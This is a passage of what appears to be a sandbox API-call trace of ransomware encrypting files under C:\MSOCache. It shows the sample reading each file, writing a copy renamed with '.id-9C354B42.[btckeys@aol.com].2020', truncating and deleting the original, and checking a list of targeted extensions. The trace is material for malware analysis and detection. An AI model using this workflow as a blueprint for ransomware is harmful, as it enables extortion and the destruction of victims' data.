dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0076.731] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=519584) returned 1 [0076.731] CloseHandle (hObject=0x1d8) returned 1 [0076.731] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0076.748] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.748] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0076.748] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.749] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.752] GetLastError () returned 0x0 [0076.752] ReadFile (in: hFile=0x1d8, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0076.767] WriteFile (in: hFile=0x1e0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0076.776] ReadFile (in: hFile=0x1d8, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0076.776] WriteFile (in: hFile=0x1e0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.776] SetEndOfFile (hFile=0x1e0) returned 1 [0076.784] CloseHandle (hObject=0x1e0) returned 1 [0076.826] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.827] SetEndOfFile (hFile=0x1d8) returned 1 [0076.870] CloseHandle (hObject=0x1d8) returned 1 [0076.870] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.871] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0076.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.871] lstrlenW (lpString=".doc") returned 4 [0076.871] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.871] lstrlenW (lpString=".docx") returned 5 [0076.871] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0076.871] lstrlenW (lpString=".pdf") returned 4 [0076.871] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.871] lstrlenW (lpString=".xls") returned 4 [0076.871] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.871] lstrlenW (lpString=".xlsx") returned 5 [0076.871] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0076.871] lstrlenW (lpString=".ppt") returned 4 [0076.871] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.871] lstrlenW (lpString=".zip") returned 4 [0076.871] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.871] lstrlenW (lpString=".rar") returned 4 [0076.871] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.871] lstrlenW (lpString=".bz2") returned 4 [0076.871] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.871] lstrlenW (lpString=".7z") returned 3 [0076.872] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.872] lstrlenW (lpString=".dbf") returned 4 [0076.872] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.872] lstrlenW (lpString=".1cd") returned 4 [0076.872] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.872] lstrlenW (lpString=".jpg") returned 4 [0076.872] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.872] lstrlenW (lpString=".doc") returned 4 [0076.872] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.872] lstrlenW (lpString=".docx") returned 5 [0076.872] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0076.872] lstrlenW (lpString=".pdf") returned 4 [0076.872] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.872] lstrlenW (lpString=".xls") returned 4 [0076.872] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.872] lstrlenW (lpString=".xlsx") returned 5 [0076.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0076.872] lstrlenW (lpString=".ppt") returned 4 [0076.872] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.872] lstrlenW (lpString=".zip") returned 4 [0076.872] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.872] lstrlenW (lpString=".rar") returned 4 [0076.872] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.872] lstrlenW (lpString=".bz2") returned 4 [0076.872] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.872] lstrlenW (lpString=".7z") returned 3 [0076.872] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.873] lstrlenW (lpString=".dbf") returned 4 [0076.873] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.873] lstrlenW (lpString=".1cd") returned 4 [0076.873] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0076.873] lstrlenW (lpString=".jpg") returned 4 [0076.873] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.873] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0076.873] lstrlenW (lpString="msvcr90.dll") returned 11 [0076.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0076.874] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=655872) returned 1 [0076.874] CloseHandle (hObject=0x1d8) returned 1 [0076.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0076.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0076.874] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.874] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0076.875] GetLastError () returned 0x0 [0076.875] ReadFile (in: hFile=0x1d8, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xa0200, lpOverlapped=0x0) returned 1 [0076.947] WriteFile (in: hFile=0x168, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0076.960] ReadFile (in: hFile=0x1d8, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0076.960] WriteFile (in: hFile=0x168, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.960] SetEndOfFile (hFile=0x168) returned 1 [0076.961] CloseHandle (hObject=0x168) returned 1 [0076.961] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.961] SetEndOfFile (hFile=0x1d8) returned 1 [0077.133] CloseHandle (hObject=0x1d8) returned 1 [0077.133] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.133] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0077.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.133] lstrlenW (lpString=".doc") returned 4 [0077.133] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.133] lstrlenW (lpString=".docx") returned 5 [0077.133] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0077.133] lstrlenW (lpString=".pdf") returned 4 [0077.133] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.133] lstrlenW (lpString=".xls") returned 4 [0077.134] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString=".xlsx") returned 5 [0077.134] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0077.134] lstrlenW (lpString=".ppt") returned 4 [0077.134] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.134] lstrlenW (lpString=".zip") returned 4 [0077.134] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString=".rar") returned 4 [0077.134] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString=".bz2") returned 4 [0077.134] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.134] lstrlenW (lpString=".7z") returned 3 [0077.134] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.134] lstrlenW (lpString=".dbf") returned 4 [0077.134] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.134] lstrlenW (lpString=".1cd") returned 4 [0077.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.134] lstrlenW (lpString=".jpg") returned 4 [0077.134] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.134] lstrlenW (lpString=".doc") returned 4 [0077.134] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString=".docx") returned 5 [0077.134] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0077.134] lstrlenW (lpString=".pdf") returned 4 [0077.134] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString=".xls") returned 4 [0077.134] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.134] lstrlenW (lpString=".xlsx") returned 5 [0077.135] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0077.135] lstrlenW (lpString=".ppt") returned 4 [0077.135] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.135] lstrlenW (lpString=".zip") returned 4 [0077.135] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.135] lstrlenW (lpString=".rar") returned 4 [0077.135] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.135] lstrlenW (lpString=".bz2") returned 4 [0077.135] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.135] lstrlenW (lpString=".7z") returned 3 [0077.135] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.135] lstrlenW (lpString=".dbf") returned 4 [0077.135] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.135] lstrlenW (lpString=".1cd") returned 4 [0077.135] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0077.135] lstrlenW (lpString=".jpg") returned 4 [0077.138] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.138] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0077.138] lstrlenW (lpString="osetupui.dll") returned 12 [0077.138] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0077.139] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=191872) returned 1 [0077.139] CloseHandle (hObject=0x1d8) returned 1 [0077.139] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0077.139] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0077.139] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.139] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.140] GetLastError () returned 0x0 [0077.140] ReadFile (in: hFile=0x1d8, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0077.221] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0077.223] ReadFile (in: hFile=0x1d8, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0077.223] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.224] SetEndOfFile (hFile=0x1b0) returned 1 [0077.224] CloseHandle (hObject=0x1b0) returned 1 [0077.224] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.224] SetEndOfFile (hFile=0x1d8) returned 1 [0077.226] CloseHandle (hObject=0x1d8) returned 1 [0077.226] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.226] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0077.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString=".doc") returned 4 [0077.227] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.227] lstrlenW (lpString=".docx") returned 5 [0077.227] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0077.227] lstrlenW (lpString=".pdf") returned 4 [0077.227] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.227] lstrlenW (lpString=".xls") returned 4 [0077.227] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.227] lstrlenW (lpString=".xlsx") returned 5 [0077.227] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0077.227] lstrlenW (lpString=".ppt") returned 4 [0077.227] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString=".zip") returned 4 [0077.227] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.227] lstrlenW (lpString=".rar") returned 4 [0077.227] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.227] lstrlenW (lpString=".bz2") returned 4 [0077.227] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.227] lstrlenW (lpString=".7z") returned 3 [0077.227] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString=".dbf") returned 4 [0077.227] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString=".1cd") returned 4 [0077.227] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString=".jpg") returned 4 [0077.227] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.227] lstrlenW (lpString=".doc") returned 4 [0077.227] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.228] lstrlenW (lpString=".docx") returned 5 [0077.228] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0077.228] lstrlenW (lpString=".pdf") returned 4 [0077.228] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.228] lstrlenW (lpString=".xls") returned 4 [0077.228] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.228] lstrlenW (lpString=".xlsx") returned 5 [0077.228] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0077.228] lstrlenW (lpString=".ppt") returned 4 [0077.228] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.228] lstrlenW (lpString=".zip") returned 4 [0077.228] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.228] lstrlenW (lpString=".rar") returned 4 [0077.228] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.228] lstrlenW (lpString=".bz2") returned 4 [0077.228] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.228] lstrlenW (lpString=".7z") returned 3 [0077.228] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.228] lstrlenW (lpString=".dbf") returned 4 [0077.228] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.228] lstrlenW (lpString=".1cd") returned 4 [0077.228] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0077.228] lstrlenW (lpString=".jpg") returned 4 [0077.228] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.228] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0077.228] lstrlenW 